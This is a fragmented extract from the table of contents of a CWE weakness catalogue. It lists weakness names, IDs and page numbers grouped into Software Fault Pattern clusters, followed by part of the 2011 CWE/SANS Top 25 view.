    - B CWE-256: Plaintext Storage of a Password (p.583)
    - B CWE-257: Storing Passwords in a Recoverable Format (p.586)
    - B CWE-260: Password in Configuration File (p.596)
    - G CWE-311: Missing Encryption of Sensitive Data (p.718)
    - B CWE-312: Cleartext Storage of Sensitive Information (p.725)
    - V CWE-313: Cleartext Storage in a File or on Disk (p.731)
    - V CWE-314: Cleartext Storage in the Registry (p.733)
    - V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p.734)
    - V CWE-316: Cleartext Storage of Sensitive Information in Memory (p.736)
    - V CWE-317: Cleartext Storage of Sensitive Information in GUI (p.737)
    - V CWE-318: Cleartext Storage of Sensitive Information in Executable (p.739)
    - B CWE-319: Cleartext Transmission of Sensitive Information (p.740)
    - B CWE-374: Passing Mutable Objects to an Untrusted Method (p.871)
    - B CWE-375: Returning a Mutable Object to an Untrusted Caller (p.874)
    - G CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') (p.924)
    - B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p.925)
    - V CWE-433: Unparsed Raw Web Content Delivery (p.989)

- V CWE-495: Private Data Structure Returned From A Public Method (p.1123)
- B CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere (p.1127)
- V CWE-498: Cloneable Class Containing Sensitive Information (p.1130)
- V CWE-499: Serializable Class Containing Sensitive Data (p.1132)
- V CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p.1)
- B CWE-501: Trust Boundary Violation (p.1135)
- C CWE-522: Insufficiently Protected Credentials (p.1157)
- B CWE-523: Unprotected Transport of Credentials (p.1161)
- V CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable (p.1165)
- V CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere (p.1167)
- V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p.1168)
- V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p.1168)
- V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p.1169)
- B CWE-532: Insertion of Sensitive Information into Log File (p.1171)
- V CWE-535: Exposure of Information Through Shell Error Message (p.1174)
- V CWE-536: Servlet Runtime Error Message Containing Sensitive Information (p.1175)
- V CWE-537: Java Runtime Error Message Containing Sensitive Information (p.1176)
- B CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory (p.1178)
- V CWE-539: Use of Persistent Cookies Containing Sensitive Information (p.1179)
- B CWE-540: Inclusion of Sensitive Information in Source Code (p.1180)
- V CWE-541: Inclusion of Sensitive Information in an Include File (p.1181)
- V CWE-546: Suspicious Comment (p.1186)
- V CWE-548: Exposure of Information Through Directory Listing (p.1189)
- V CWE-550: Server-generated Error Message Containing Sensitive Information (p.1191)
- B CWE-552: Files or Directories Accessible to External Parties (p.1193)
- V CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p.1197)
- V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p.1251)
- V CWE-598: Use of GET Request Method With Sensitive Query Strings (p.1262)
- V CWE-607: Public Static Final Field References Mutable Object (p.1280)
- B CWE-612: Improper Authorization of Index Containing Sensitive Information (p.1290)
- V CWE-615: Inclusion of Sensitive Information in Source Code Comments (p.1294)
- C CWE-642: External Control of Critical State Data (p.1330)
- C CWE-668: Exposure of Resource to Wrong Sphere (p.1380)
- C CWE-669: Incorrect Resource Transfer Between Spheres (p.1383)
- V CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p.4)
- B CWE-756: Missing Custom Error Page (p.1469)
- V CWE-767: Access to Critical Private Variable via Public Method (p.1498)
- V CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p.6)
- C CWE-964: SFP Secondary Cluster: Exposure Temporary File (p.2196)
- C CWE-377: Insecure Temporary File (p.876)
- B CWE-378: Creation of Temporary File With Insecure Permissions (p.879)
- B CWE-379: Creation of Temporary File in Directory with Insecure Permissions (p.881)
- C CWE-965: SFP Secondary Cluster: Insecure Session Management (p.2196)
- B CWE-488: Exposure of Data Element to Wrong Session (p.1104)
- B CWE-524: Use of Cache Containing Sensitive Information (p.1163)
- V CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p.2)
- C CWE-966: SFP Secondary Cluster: Other Exposures (p.2196)
- V CWE-453: Insecure Default Variable Initialization (p.1024)
- B CWE-487: Reliance on Package-level Scope (p.1102)
- V CWE-492: Use of Inner Class Containing Sensitive Data (p.1110)
- V CWE-525: Use of Web Browser Cache Containing Sensitive Information (p.1164)
- V CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p.1292)
- V CWE-651: Exposure of WSDL File Containing Sensitive Information (p.1350)
- C CWE-967: SFP Secondary Cluster: State Disclosure (p.2197)

- V CWE-202: Exposure of Sensitive Information Through Data Queries (p.495)
- B CWE-203: Observable Discrepancy (p.497)
- B CWE-204: Observable Response Discrepancy (p.501)
- B CWE-205: Observable Behavioral Discrepancy (p.504)
- V CWE-206: Observable Internal Behavioral Discrepancy (p.505)
- V CWE-207: Observable Behavioral Discrepancy With Equivalent Products (p.507)
- B CWE-208: Observable Timing Discrepancy (p.508)
- C CWE-896: SFP Primary Cluster: Tainted Input (p.2178)
- C CWE-990: SFP Secondary Cluster: Tainted Input to Command (p.2206)
- V CWE-102: Struts: Duplicate Validation Forms (p.239)
- V CWE-103: Struts: Incomplete validate() Method Definition (p.240)
- V CWE-104: Struts: Form Bean Does Not Extend Validation Class (p.243)
- V CWE-105: Struts: Form Field Without Validator (p.245)
- V CWE-106: Struts: Plug-in Framework not in Use (p.248)
- V CWE-107: Struts: Unused Validation Form (p.251)
- V CWE-108: Struts: Unvalidated Action Form (p.253)
- V CWE-109: Struts: Validator Turned Off (p.254)
- V CWE-110: Struts: Validator Without Form Field (p.256)
- B CWE-112: Missing XML Validation (p.261)
- V CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') (p.263)
- B CWE-130: Improper Handling of Length Parameter Inconsistency (p.336)
- B CWE-134: Use of Externally-Controlled Format String (p.349)
- G CWE-138: Improper Neutralization of Special Elements (p.357)
- B CWE-140: Improper Neutralization of Delimiters (p.360)
- V CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p.362)
- V CWE-142: Improper Neutralization of Value Delimiters (p.364)
- V CWE-143: Improper Neutralization of Record Delimiters (p.365)
- V CWE-144: Improper Neutralization of Line Delimiters (p.367)
- V CWE-145: Improper Neutralization of Section Delimiters (p.369)
- V CWE-146: Improper Neutralization of Expression/Command Delimiters (p.371)
- V CWE-147: Improper Neutralization of Input Terminators (p.373)
- V CWE-148: Improper Neutralization of Input Leaders (p.375)
- V CWE-149: Improper Neutralization of Quoting Syntax (p.376)
- V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p.377)
- V CWE-151: Improper Neutralization of Comment Delimiters (p.380)
- V CWE-152: Improper Neutralization of Macro Symbols (p.382)
- V CWE-153: Improper Neutralization of Substitution Characters (p.384)
- V CWE-154: Improper Neutralization of Variable Name Delimiters (p.385)
- V CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p.387)
- V CWE-156: Improper Neutralization of Whitespace (p.389)
- V CWE-157: Failure to Sanitize Paired Delimiters (p.391)
- V CWE-158: Improper Neutralization of Null Byte or NUL Character (p.392)
- G CWE-159: Improper Handling of Invalid Use of Special Elements (p.395)
- V CWE-160: Improper Neutralization of Leading Special Elements (p.397)
- V CWE-161: Improper Neutralization of Multiple Leading Special Elements (p.398)
- V CWE-162: Improper Neutralization of Trailing Special Elements (p.400)
- V CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p.401)
- V CWE-164: Improper Neutralization of Internal Special Elements (p.403)
- V CWE-165: Improper Neutralization of Multiple Internal Special Elements (p.404)
- B CWE-183: Permissive List of Allowed Inputs (p.439)
- B CWE-184: Incomplete List of Disallowed Inputs (p.441)
- G CWE-185: Incorrect Regular Expression (p.444)
- B CWE-186: Overly Restrictive Regular Expression (p.447)

- ⓑ CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (p.1009)
- Ⓧ CWE-553: Command Shell in Externally Accessible Directory (p.1195)
- Ⓧ CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p.1196)
- Ⓧ CWE-564: SQL Injection: Hibernate (p.1207)
- ⓑ CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)
- ⓑ CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
- ⓑ CWE-619: Dangling Database Cursor ('Cursor Injection') (p.1300)
- ⓑ CWE-621: Variable Extraction Error (p.1303)
- ⓑ CWE-624: Executable Regular Expression Error (p.1308)
- ⓑ CWE-625: Permissive Regular Expression (p.1309)
- Ⓧ CWE-626: Null Byte Interaction Error (Poison Null Byte) (p.1312)
- ⓑ CWE-627: Dynamic Variable Evaluation (p.1314)
- ⓑ CWE-641: Improper Restriction of Names for Files and Other Resources (p.1329)
- ⓑ CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1336)
- Ⓧ CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p.1338)
- Ⓧ CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p.1341)
- ⓑ CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1351)
- Ⓧ CWE-687: Function Call With Incorrectly Specified Argument Value (p.1413)
- Ⓧ CWE-707: Improper Neutralization (p.1440)
- ⓐ CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p.133)
- ⓐ CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p.138)
- ⓑ CWE-76: Improper Neutralization of Equivalent Special Elements (p.139)
- ⓐ CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
- ⓑ CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
- ⓑ CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- Ⓧ CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p.172)
- Ⓧ CWE-81: Improper Neutralization of Script in an Error Message Web Page (p.175)
- Ⓧ CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p.177)
- Ⓧ CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p.179)
- Ⓧ CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p.181)
- Ⓧ CWE-85: Doubled Character XSS Manipulations (p.183)
- Ⓧ CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p.185)
- Ⓧ CWE-87: Improper Neutralization of Alternate XSS Syntax (p.186)
- ⓑ CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
- ⓑ CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
- ⓑ CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
- ⓑ CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
- ⓑ CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p.211)
- Ⓧ CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p.220)
- ⓑ CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p.225)
- Ⓧ CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p.228)
- ⓐ CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.235)
- ⓐ CWE-991: SFP Secondary Cluster: Tainted Input to Environment (p.2209)
- ⓐ CWE-114: Process Control (p.268)



- B CWE-427: Uncontrolled Search Path Element (p.977)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1057)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p.1060)
- B CWE-472: External Control of Assumed-Immutable Web Parameter (p.1062)
- V CWE-473: PHP External Variable Modification (p.1066)
- B CWE-494: Download of Code Without Integrity Check (p.1119)
- V CWE-622: Improper Validation of Function Hook Arguments (p.1305)
- G CWE-673: External Influence of Sphere Definition (p.1390)
- B CWE-94: Improper Control of Generation of Code ('Code Injection') (p.213)
- C CWE-992: SFP Secondary Cluster: Faulty Input Transformation (p.2209)
- G CWE-116: Improper Encoding or Escaping of Output (p.272)
- B CWE-166: Improper Handling of Missing Special Element (p.406)
- B CWE-167: Improper Handling of Additional Special Element (p.408)
- B CWE-168: Improper Handling of Inconsistent Special Elements (p.409)
- G CWE-172: Encoding Error (p.415)
- V CWE-173: Improper Handling of Alternate Encoding (p.417)
- V CWE-174: Double Decoding of the Same Data (p.419)
- V CWE-175: Improper Handling of Mixed Encoding (p.421)
- V CWE-176: Improper Handling of Unicode Encoding (p.422)
- V CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p.424)
- B CWE-178: Improper Handling of Case Sensitivity (p.427)
- B CWE-179: Incorrect Behavior Order: Early Validation (p.430)
- V CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p.433)
- V CWE-181: Incorrect Behavior Order: Validate Before Filter (p.435)
- B CWE-182: Collapse of Data into Unsafe Value (p.437)
- C CWE-993: SFP Secondary Cluster: Incorrect Input Handling (p.2210)
- B CWE-198: Use of Incorrect Byte Ordering (p.483)
- G CWE-228: Improper Handling of Syntactically Invalid Structure (p.540)
- B CWE-229: Improper Handling of Values (p.542)
- V CWE-230: Improper Handling of Missing Values (p.543)
- V CWE-231: Improper Handling of Extra Values (p.544)
- V CWE-232: Improper Handling of Undefined Values (p.545)
- B CWE-233: Improper Handling of Parameters (p.546)
- V CWE-234: Failure to Handle Missing Parameter (p.547)
- V CWE-235: Improper Handling of Extra Parameters (p.550)
- V CWE-236: Improper Handling of Undefined Parameters (p.551)
- B CWE-237: Improper Handling of Structural Elements (p.552)
- V CWE-238: Improper Handling of Incomplete Structural Elements (p.553)
- V CWE-239: Failure to Handle Incomplete Element (p.554)
- B CWE-240: Improper Handling of Inconsistent Structural Elements (p.555)
- B CWE-241: Improper Handling of Unexpected Data Type (p.555)
- B CWE-351: Insufficient Type Distinction (p.820)
- B CWE-354: Improper Validation of Integrity Check Value (p.830)
- C CWE-994: SFP Secondary Cluster: Tainted Input to Variable (p.2210)
- B CWE-15: External Control of System or Configuration Setting (p.17)
- G CWE-20: Improper Input Validation (p.19)
- B CWE-454: External Initialization of Trusted Variables or Data Stores (p.1025)
- V CWE-496: Public Data Assigned to Private Array-Typed Field (p.1125)
- B CWE-502: Deserialization of Untrusted Data (p.1137)
- V CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p.1211)
- B CWE-606: Unchecked Input for Loop Condition (p.1278)
- V CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (p.1295)
- G CWE-897: SFP Primary Cluster: Entry Points (p.2178)

- C CWE-1002: SFP Secondary Cluster: Unexpected Entry Points (p.2214)
  - B CWE-489: Active Debug Code (p.1106)
  - V CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p.1108)
  - V CWE-493: Critical Public Variable Without Final Modifier (p.1117)
  - V CWE-500: Public Static Field Not Marked Final (p.1133)
  - V CWE-531: Inclusion of Sensitive Information in Test Code (p.1170)
  - V CWE-568: finalize() Method Without super.finalize() (p.1215)
  - V CWE-580: clone() Method Without super.clone() (p.1234)
  - V CWE-582: Array Declared Public, Final, and Static (p.1237)
  - V CWE-583: finalize() Method Declared Public (p.1238)
  - V CWE-608: Struts: Non-private Field in ActionForm Class (p.1281)
  - V CWE-766: Critical Data Element Declared Public (p.1495)
- C CWE-898: SFP Primary Cluster: Authentication (p.2179)
  - C CWE-947: SFP Secondary Cluster: Authentication Bypass (p.2187)
    - G CWE-287: Improper Authentication (p.657)
    - B CWE-288: Authentication Bypass Using an Alternate Path or Channel (p.664)
    - B CWE-289: Authentication Bypass by Alternate Name (p.666)
    - B CWE-303: Incorrect Implementation of Authentication Algorithm (p.699)
    - B CWE-304: Missing Critical Step in Authentication (p.700)
    - B CWE-305: Authentication Bypass by Primary Weakness (p.702)
    - B CWE-308: Use of Single-factor Authentication (p.713)
    - B CWE-309: Use of Password System for Primary Authentication (p.716)
    - B CWE-603: Use of Client-Side Authentication (p.1275)
  - C CWE-948: SFP Secondary Cluster: Digital Certificate (p.2188)
    - B CWE-296: Improper Following of a Certificate's Chain of Trust (p.682)
    - V CWE-297: Improper Validation of Certificate with Host Mismatch (p.684)
    - V CWE-298: Improper Validation of Certificate Expiration (p.688)
    - B CWE-299: Improper Check for Certificate Revocation (p.690)
    - V CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p.1252)
    - V CWE-599: Missing Validation of OpenSSL Certificate (p.1263)
  - C CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication (p.2188)
    - V CWE-293: Using Referer Field for Authentication (p.673)
    - B CWE-302: Authentication Bypass by Assumed-Immutable Data (p.697)
    - G CWE-345: Insufficient Verification of Data Authenticity (p.805)
    - G CWE-346: Origin Validation Error (p.808)
    - V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p.817)
    - B CWE-360: Trust of System Event Data (p.840)
    - B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p.1192)
    - B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1209)
    - V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p.1343)
  - C CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data (p.2189)
    - V CWE-258: Empty Password in Configuration File (p.589)
    - V CWE-259: Use of Hard-coded Password (p.591)
    - V CWE-321: Use of Hard-coded Cryptographic Key (p.745)
    - V CWE-547: Use of Hard-coded, Security-relevant Constants (p.1187)
  - C CWE-951: SFP Secondary Cluster: Insecure Authentication Policy (p.2189)
    - B CWE-262: Not Using Password Aging (p.600)
    - B CWE-263: Password Aging with Long Expiration (p.602)
    - B CWE-521: Weak Password Requirements (p.1154)
    - V CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p.1198)
    - B CWE-613: Insufficient Session Expiration (p.1291)
    - B CWE-645: Overly Restrictive Account Lockout Mechanism (p.1340)
  - C CWE-952: SFP Secondary Cluster: Missing Authentication (p.2189)
    - B CWE-306: Missing Authentication for Critical Function (p.703)

- B CWE-620: Unverified Password Change (p.1301)
- C CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication (p.2190)
- V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p.966)
- B CWE-425: Direct Request ('Forced Browsing') (p.969)
- C CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port (p.2190)
- B CWE-605: Multiple Binds to the Same Port (p.1277)
- C CWE-955: SFP Secondary Cluster: Unrestricted Authentication (p.2190)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p.709)
- C CWE-899: SFP Primary Cluster: Access Control (p.2179)
- C CWE-944: SFP Secondary Cluster: Access Management (p.2186)
- G CWE-282: Improper Ownership Management (p.641)
- B CWE-283: Unverified Ownership (p.643)
- P CWE-284: Improper Access Control (p.644)
- G CWE-286: Incorrect User Management (p.656)
- B CWE-708: Incorrect Ownership Assignment (p.1442)
- C CWE-945: SFP Secondary Cluster: Insecure Resource Access (p.2187)
- G CWE-285: Improper Authorization (p.649)
- G CWE-424: Improper Protection of Alternate Path (p.968)
- B CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
- V CWE-650: Trusting HTTP Permission Methods on the Server Side (p.1348)
- C CWE-946: SFP Secondary Cluster: Insecure Resource Permissions (p.2187)
- B CWE-276: Incorrect Default Permissions (p.630)
- V CWE-277: Insecure Inherited Permissions (p.634)
- V CWE-278: Insecure Preserved Inherited Permissions (p.635)
- V CWE-279: Incorrect Execution-Assigned Permissions (p.636)
- B CWE-281: Improper Preservation of Permissions (p.640)
- V CWE-560: Use of umask() with chmod-style Argument (p.1200)
- G CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- C CWE-901: SFP Primary Cluster: Privilege (p.2179)
- B CWE-250: Execution with Unnecessary Privileges (p.568)
- B CWE-266: Incorrect Privilege Assignment (p.605)
- B CWE-267: Privilege Defined With Unsafe Actions (p.608)
- B CWE-268: Privilege Chaining (p.611)
- G CWE-269: Improper Privilege Management (p.613)
- B CWE-270: Privilege Context Switching Error (p.618)
- G CWE-271: Privilege Dropping / Lowering Errors (p.620)
- B CWE-272: Least Privilege Violation (p.623)
- B CWE-274: Improper Handling of Insufficient Privileges (p.629)
- V CWE-520: .NET Misconfiguration: Use of Impersonation (p.1154)
- B CWE-653: Improper Isolation or Compartmentalization (p.1353)
- V CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p.7)
- C CWE-902: SFP Primary Cluster: Channel (p.2180)
- C CWE-956: SFP Secondary Cluster: Channel Attack (p.2191)
- B CWE-290: Authentication Bypass by Spoofing (p.668)
- B CWE-294: Authentication Bypass by Capture-replay (p.675)
- G CWE-300: Channel Accessible by Non-Endpoint (p.692)
- B CWE-301: Reflection Attack in an Authentication Protocol (p.695)
- B CWE-419: Unprotected Primary Channel (p.962)
- B CWE-420: Unprotected Alternate Channel (p.963)
- B CWE-421: Race Condition During Access to Alternate Channel (p.965)
- G CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p.1005)
- C CWE-957: SFP Secondary Cluster: Protocol Error (p.2191)
- B CWE-353: Missing Support for Integrity Check (p.828)
- P CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities (p.998)
- G CWE-436: Interpretation Conflict (p.1000)



- B CWE-437: Incomplete Model of Endpoint Features (p.1002)
- B CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p.1471)
- C CWE-903: SFP Primary Cluster: Cryptography (p.2180)
  - C CWE-958: SFP Secondary Cluster: Broken Cryptography (p.2191)
    - B CWE-325: Missing Cryptographic Step (p.754)
    - C CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
    - B CWE-328: Use of Weak Hash (p.765)
    - V CWE-759: Use of a One-Way Hash without a Salt (p.1474)
    - V CWE-760: Use of a One-Way Hash with a Predictable Salt (p.1479)
  - C CWE-959: SFP Secondary Cluster: Weak Cryptography (p.2192)
    - B CWE-261: Weak Encoding for Password (p.598)
    - B CWE-322: Key Exchange without Entity Authentication (p.749)
    - V CWE-323: Reusing a Nonce, Key Pair in Encryption (p.750)
    - B CWE-324: Use of a Key Past its Expiration Date (p.752)
    - C CWE-326: Inadequate Encryption Strength (p.756)
    - V CWE-329: Generation of Predictable IV with CBC Mode (p.769)
    - B CWE-347: Improper Verification of Cryptographic Signature (p.811)
    - B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1326)
- C CWE-904: SFP Primary Cluster: Malware (p.2180)
  - C CWE-506: Embedded Malicious Code (p.1142)
  - B CWE-507: Trojan Horse (p.1144)
  - B CWE-508: Non-Replicating Malicious Code (p.1145)
  - B CWE-509: Replicating Malicious Code (Virus or Worm) (p.1146)
  - B CWE-510: Trapdoor (p.1147)
  - B CWE-511: Logic/Time Bomb (p.1149)
  - B CWE-512: Spyware (p.1150)
  - V CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p.125)
  - C CWE-968: SFP Secondary Cluster: Covert Channel (p.2197)
    - B CWE-385: Covert Timing Channel (p.890)
    - C CWE-514: Covert Channel (p.1151)
    - B CWE-515: Covert Storage Channel (p.1152)
- C CWE-905: SFP Primary Cluster: Predictability (p.2181)
  - C CWE-330: Use of Insufficiently Random Values (p.772)
  - B CWE-331: Insufficient Entropy (p.778)
  - V CWE-332: Insufficient Entropy in PRNG (p.781)
  - V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p.783)
  - B CWE-334: Small Space of Random Values (p.784)
  - B CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (p.786)
  - V CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) (p.789)
  - V CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) (p.791)
  - B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.793)
  - V CWE-339: Small Seed Space in PRNG (p.796)
  - C CWE-340: Generation of Predictable Numbers or Identifiers (p.798)
  - B CWE-341: Predictable from Observable State (p.799)
  - B CWE-342: Predictable Exact Value from Previous Values (p.801)
  - B CWE-343: Predictable Value Range from Previous Values (p.802)
  - B CWE-344: Use of Invariant Value in Dynamically Changing Context (p.804)
- C CWE-906: SFP Primary Cluster: UI (p.2181)
  - C CWE-995: SFP Secondary Cluster: Feature (p.2211)
    - B CWE-447: Unimplemented or Unsupported Feature in UI (p.1015)
    - B CWE-448: Obsolete Feature in UI (p.1017)
    - B CWE-449: The UI Performs the Wrong Action (p.1017)
    - B CWE-450: Multiple Interpretations of UI Input (p.1019)
    - C CWE-451: User Interface (UI) Misrepresentation of Critical Information (p.1020)

- B CWE-549: Missing Password Field Masking (p.1190)
- B CWE-655: Insufficient Psychological Acceptability (p.1357)
- C CWE-996: SFP Secondary Cluster: Security (p.2211)
  - B CWE-356: Product UI does not Warn User of Unsafe Actions (p.832)
  - B CWE-357: Insufficient UI Warning of Dangerous Operations (p.833)
  - C CWE-446: UI Discrepancy for Security Feature (p.1014)
- C CWE-997: SFP Secondary Cluster: Information Loss (p.2212)
  - C CWE-221: Information Loss or Omission (p.531)
  - B CWE-222: Truncation of Security-relevant Information (p.532)
  - B CWE-223: Omission of Security-relevant Information (p.533)
  - B CWE-224: Obscured Security-relevant Information by Alternate Name (p.535)
- C CWE-907: SFP Primary Cluster: Other (p.2182)
- C CWE-975: SFP Secondary Cluster: Architecture (p.2199)
  - B CWE-348: Use of Less Trusted Source (p.813)
  - B CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.836)
  - C CWE-602: Client-Side Enforcement of Server-Side Security (p.1271)
  - C CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') (p.1320)
  - B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p.1346)
  - B CWE-654: Reliance on a Single Factor in a Security Decision (p.1355)
  - B CWE-656: Reliance on Security Through Obscurity (p.1359)
  - C CWE-657: Violation of Secure Design Principles (p.1361)
  - C CWE-671: Lack of Administrator Control over Security (p.1385)
  - P CWE-693: Protection Mechanism Failure (p.1422)
  - B CWE-749: Exposed Dangerous Method or Function (p.1456)
- C CWE-976: SFP Secondary Cluster: Compiler (p.2200)
  - B CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (p.1454)
- C CWE-977: SFP Secondary Cluster: Design (p.2200)
  - B CWE-115: Misinterpretation of Input (p.271)
  - V CWE-187: Partial String Comparison (p.448)
  - B CWE-188: Reliance on Data/Memory Layout (p.451)
  - B CWE-193: Off-by-one Error (p.466)
  - B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.815)
  - C CWE-405: Asymmetric Resource Consumption (Amplification) (p.933)
  - C CWE-406: Insufficient Control of Network Message Volume (Network Amplification) (p.937)
  - C CWE-407: Inefficient Algorithmic Complexity (p.939)
  - B CWE-408: Incorrect Behavior Order: Early Amplification (p.942)
  - B CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p.943)
  - B CWE-410: Insufficient Resource Pool (p.945)
  - B CWE-430: Deployment of Wrong Handler (p.985)
  - B CWE-462: Duplicate Key in Associative List (Alist) (p.1043)
  - B CWE-463: Deletion of Data Structure Sentinel (p.1045)
  - B CWE-464: Addition of Data Structure Sentinel (p.1047)
  - B CWE-483: Incorrect Block Delimitation (p.1095)
  - B CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p.1236)
  - V CWE-595: Comparison of Object References Instead of Object Contents (p.1256)
  - B CWE-618: Exposed Unsafe ActiveX Method (p.1299)
  - B CWE-648: Incorrect Use of Privileged APIs (p.1344)
  - C CWE-670: Always-Incorrect Control Flow Implementation (p.1384)
  - P CWE-682: Incorrect Calculation (p.1403)
  - P CWE-691: Insufficient Control Flow Management (p.1420)
  - C CWE-696: Incorrect Behavior Order (p.1426)
  - P CWE-697: Incorrect Comparison (p.1428)
  - B CWE-698: Execution After Redirect (EAR) (p.1431)

- CWE-705: Incorrect Control Flow Scoping (p.1437)
- CWE-978: SFP Secondary Cluster: Implementation (p.2201)
- CWE-358: Improperly Implemented Security Check for Standard (p.834)
- CWE-398: 7PK - Code Quality (p.2116)
- CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p.1307)
- CWE-710: Improper Adherence to Coding Standards (p.1444)
- CWE-1237: SFP Primary Cluster: Faulty Resource Release (p.2275)
- CWE-415: Double Free (p.954)
- CWE-762: Mismatched Memory Management Routines (p.1485)
- CWE-763: Release of Invalid Pointer or Reference (p.1488)
- CWE-1238: SFP Primary Cluster: Failure to Release Memory (p.2275)
- CWE-401: Missing Release of Memory after Effective Lifetime (p.921)

## Graph View: CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

- C** CWE-867: 2011 Top 25 - Weaknesses On the Cusp (p.2166)
  - V** CWE-129: Improper Validation of Array Index (p.327)
  - B** CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - B** CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.520)
  - G** CWE-330: Use of Insufficiently Random Values (p.772)
  - G** CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
  - V** CWE-456: Missing Initialization of a Variable (p.1029)
  - B** CWE-476: NULL Pointer Dereference (p.1070)
  - B** CWE-681: Incorrect Conversion between Numeric Types (p.1400)
  - G** CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
  - B** CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
  - B** CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
